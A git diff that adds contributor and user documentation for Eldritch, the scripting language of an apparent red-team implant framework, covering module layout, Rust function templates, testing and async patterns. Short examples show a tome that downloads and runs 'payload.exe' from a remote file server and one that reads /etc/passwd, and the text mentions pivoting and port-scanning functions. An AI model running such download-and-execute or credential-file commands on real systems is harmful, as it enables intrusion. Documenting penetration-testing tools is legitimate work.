diff --git a/docs/_data/toc.yml b/docs/_data/toc.yml index 19220cbd6..f5995506b 100644 --- a/docs/_data/toc.yml +++ b/docs/_data/toc.yml @@ -38,8 +38,12 @@ - title: "Eldritch" url: "dev-guide/eldritch" children: - - title: "Adding a Method" - url: "dev-guide/eldritch#adding-a-method" + - title: "Overview" + url: "dev-guide/eldritch#Overview" + - title: "Creating a function" + url: "dev-guide/eldritch#creating-a-function" + - title: "Notes about asynchronous Eldritch code" + url: "dev-guide/eldritch#notes-about-asynchronous-eldritch-code" # links: # - title: "Getting Started" # url: "user-guide/getting-started" diff --git a/docs/_docs/dev-guide/eldritch.md b/docs/_docs/dev-guide/eldritch.md index 59d408fbd..f250d9b0a 100644 --- a/docs/_docs/dev-guide/eldritch.md +++ b/docs/_docs/dev-guide/eldritch.md @@ -5,7 +5,272 @@ tags: description: Want to contribute to Eldritch? Start here! permalink: dev-guide/eldritch --- + # Overview -![/assets/img/coming-soon.gif](/assets/img/coming-soon.gif) +Eldritch expands the capability of realm agents allowing them to perform actions programmatically. +Not all tasks should be done through Eldritch though. Eldritch is meant to create the building blocks that operators can use during tests. +Creating a function that is too specific could limit it's usefulness to other users. + +**For example**: if you want to download a file to a specific location, execute it, and return the functions result this should be chunked into separate `download`, and `execute` functions within Eldritch. The example use case should look like: + +The Eldritch tome could look like this: +```python +file.download("http://fileserver.net/payload.exe", "C:/temp/") +sys.execute("C:/temp/payload.exe") +``` + +_Exceptions to the rule above exist if performing the activities requires the performance of rust. + +Eg. port scanning could be implemented using a for loop and tcp\_connect however due to the performance demand of port scanning a direct implementation in rust makes more sense_ + +Want to contribute to Eldritch but aren't sure what to build check our ["good first issue" tickets.](https://github.com/KCarretto/realm/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) + +# Creating a function + +## What files should I modify to make an Eldritch function. +--- +#### Documentation +`docs/_docs/user-guide/Eldritch.md` +Add your function to the docs. Give your function a unique and descriptive name. Assign it to an Eldritch module. + +Currently Eldritch has four modules your function can fall under: +* `file`: Is used for any on disk file processing. +* `pivot`: Is used to migrate to identify, and migrate between systems. The pivot module is also responsible for facilitating connectivity within an environment. +* `process`: Is used to manage running processes on a system. +* `sys`: Is used to check system specific configurations and start new processes. +If your function does not fall under a specific module reach out to the core developers about adding a new module or finding the right fit. + +Specify the input and output according to the [Starlark types spec.](https://docs.rs/starlark/0.6.0/starlark/values/index.html) +If there are OS or edge case specific behaviors make sure to document them here. If there are limitations Eg. if a function doesn't use file streaming specify that it can't be used for large files. +```markdown +### module.function +module.function(arg1: str, arg2: int, arg3: list) -> bool + +The module.function describe your function and edge cases. + +``` +#### Eldritch definition +`implants/Eldritch/src/module.rs` +Add a function definition here, where `module.rs` is the name of the module you selected above. This is how the Eldritch language is made aware that your function exists. + +Add the import for your functions implementation at the top, try to keep these in alphabetical order for readability. +Then add the function definition under the methods function +```RUST +... +mod function_impl; +... +#[starlark_module] +fn methods(builder: &mut MethodsBuilder) { +... + fn function(_this: ModuleLibrary, arg1: String, arg2: u8, arg3: Vec) -> bool { + function_impl::function(arg1, arg2, arg3) + } +``` + +You may notice that some functions follow the pattern: +```RUST + fn function(_this: ModuleLibrary, arg1: String, arg2: u8, arg3: Vec) -> NoneType { + function_impl::function(arg1, arg2, arg3)?; + Ok(NoneType{}) + } +``` +This pattern is only used for none type returns since we're returning Starlark None. Returning like this in the module file is more streamlined than having each module return a special starlark type. + +### Eldritch Implementation +`implants/Eldritch/src/module/function_impl.rs` +Add your function implementation here, where `/module/` is the name of the module you selected above and `/function_impl.rs` is the name of your function with `_impl.rs` appended after it. This should match what's been put in the module file. +This file will contain the actual implementation, helper functions, and unit tests for your function. + +Here's a template of how your code should look: +```RUST +use anyhow::Result; + +fn helper(argz: String) -> bool { + // Do helper stuff +} + +pub fn function(path: arg1: String, arg2: u8, arg3: Vec) -> bool { + // Do code stuff +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_function_basic() -> anyhow::Result<()>{ + // Setup + // Run code + // Check results + assert_eq!(res, true) + } + + #[test] + fn test_function_negative() -> anyhow::Result<()>{ + // Setup + // Run code + // Check that expected failures occur + assert_eq!(res, false) + } + + #[test] + fn test_function_helper() -> anyhow::Result<()>{ + // Setup + // Run helper code + // Check results + assert_eq!(res, true) + } + + // More tests! 🚀 +} +``` + +**Implementation tips:** +* If working with files & network connections use streaming to avoid issues with large files. +* If your function is likely to error implement additional eldritch function to proactively test if your function will work. Eg. Using `is_file` before performing file operations. + +### Testing +Testing can be really daunting especially with complex system functions required by security professionals. +If you have any questions or hit any road blocks please reach out we'd love to help, also feel free to open a draft PR with what you have and mark it with the `help wanted` tag. +Testing isn't meant to be a barrier to contributing but instead a safety net so you know your code doesn't affect other systems. If it's become a blocker please reach out so we can help 🙂 + +**Goals** +1. Cross platform +2. Test basic functionality. +3. Test negative cases. +4. Prevent regression. +5. Test edge cases. + +**Tips** +Any methods added to the Eldritch Standard Library should have tests collocated in the method's `_impl.rs` file. Here are a few things to keep in mind: +* Tests should be cross platform + * Rely on [NamedTempFile](https://docs.rs/tempfile/1.1.1/tempfile/struct.NamedTempFile.html) for temporary files + * Rely on [path.join](https://doc.rust-lang.org/stable/std/path/struct.Path.html) to construct OS-agnostic paths +* Chunk out implementation code into discrete helper functions so each can be tested individually. + +### Example PR for an Eldritch method. +Check out [this simple example of a PR](https://github.com/KCarretto/realm/pull/69/files) to see what they should look like. +This PR implements the `file.is_file` function into Eldritch and is a simple example of how to get started. + + +# Notes about asynchronous Eldritch code +--- +### Async example +In order to run concurrent tasks we need to build an asynchronous function. This is useful if you're building a function that needs to do two things at once or that can benefit from running discrete jobs in parallel. + +The starlark bindings we're using to create Eldritch are not asynchronous therefore the Eldritch function itself cannot be asynchronous. +To get around this we use the [`tokio::runtime::Runtime.block_on()`](https://docs.rs/tokio/latest/tokio/runtime/struct.Runtime.html#method.block_on) function in conjunction with two asynchronous helpers. + +We'll create the following three functions to manage concurrent tasks: +* `pub fn function` - Eldritch function implementation which will implement the `tokio::runtime::Runtime.block_on()` function. +* `async fn handle_function` - Async helper function that will start, track, and join async tasks. +* `async fn run_function` - Async function runner that gets spawned by the `handle_function` function. + +An example of how you might run multiple concurrent tasks asynchronously. +```RUST +// Async handler for Eldritch function +async fn run_function(argstr: String) -> Result { + // Do async stuff +} + +async fn handle_function(arg1: Vec) -> Result> { + let mut result: Vec = Vec::new(); + // This vector will hold the handles to our futures so we can retrieve the results when they finish. + let mut all_result_futures: Vec<_> = vec![]; + // Iterate over all values in arg1. + for value in arg1 { + // Iterate over all listed ports. + let resulting_future = run_function(value); + all_result_futures.push(task::spawn(resulting_future)); + } + + // Await results of each job. + // We are not acting on scan results independently so it's okay to loop through each and only return when all have finished. + for task in all_result_futures { + match task.await? { + Ok(res) => result.push(res), + Err(err) => return anyhow::private::Err(err), + }; + } + + Ok(result) +} + +// Non-async wrapper for our async scan. +pub fn function(arg1: Vec) -> Result> { + let runtime = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .unwrap(); + + let response = runtime.block_on( + handle_function(target_cidrs) + ); + + match response { + Ok(result) => Ok(result), + Err(_) => return response, + } +} + +// Testing ... +``` + +**Implementation tips:** +* If running a lot of concurrent tasks the system may run out of open file descriptors. Either handle this error with a wait and retry, or proactively rate limit your tasks well below the default limits. + + +### Testing async code requires some additional work +You'll need to write tests for your synchronous and asynchronous code. +Async tests will start + +Tests for async functions may look like this: +```RUST +// Command implementation code. +// .... + +#[cfg(test)] +mod tests { + use super::*; + use tokio::task; + + // Example of how to run two functions concurrently. + // This can be useful in for testing something like a tcp connect function + // where a test listener needs to be running too. + #[tokio::test] + async fn test_function_async_basic() -> anyhow::Result<()> { + let expected_response_1 = String::from("Hello world!"); + let expected_response_2 = String::from("Good bye!"); + + let task1_handler = task::spawn( + setup_task() + ); + + let task2_handler = task::spawn( + handle_function(["Good", "bye!"]) + ); + + let (task1_handler_res, task2_handler_res) = tokio::join!(task1_handler,task2_handler); + + assert_eq!(expected_response_1, task1_handler_res.unwrap()); + assert_eq!(expected_response_2, task2_handler_res.unwrap()); + } + + // Make sure to test the synchronous handler for the test too. + // This makes sure that our Eldritch implementation correctly passes + // the function call from synchronous space to asynchronous space. + #[test] + fn test_function_not_async() -> anyhow::Result<()> { + //Mostly just testing that the code runs. + //Without an async setup function our code will likely return a fail state. + //If that's the case test for that state. + let response = function(["Test", "123"])?; + assert_eq!(response, false); + } +} +``` + +### Async PR example +An example of how async can be used in testing: [PR for the Eldritch `pivot.ncat` implementation](https://github.com/KCarretto/realm/pull/44/files). -# Adding a Method +An example of testing async functions with multiple concurrent functions: [PR for the Eldritch `pivot.port_scan` implementation](https://github.com/KCarretto/realm/pull/45/files). diff --git a/docs/_docs/user-guide/eldritch.md b/docs/_docs/user-guide/eldritch.md index 984ee1201..95741c382 100644 --- a/docs/_docs/user-guide/eldritch.md +++ b/docs/_docs/user-guide/eldritch.md @@ -7,6 +7,21 @@ permalink: user-guide/eldritch --- # Overview ![/assets/img/coming-soon.gif](/assets/img/coming-soon.gif) +## +## Data types +Eldritch currently only supports the [default starlark data types.](https://github.com/facebookexperimental/starlark-rust/blob/main/docs/types.md) +## Error handling +Eldritch doesn't implement any form of error handling. If a function fails it will stop the tome from completing execution. There is no way to recover after a function has errored. + +If you're using a functions that has a chance to error (functions that do file / network IO) test preemptively with function like `is_file`, `is_dir`, `is_windows`, etc. + +For example: +```Python +if is_linux(): + if is_file("/etc/passwd"): + file.read("/etc/passwd") +``` + # Examples ![/assets/img/coming-soon.gif](/assets/img/coming-soon.gif)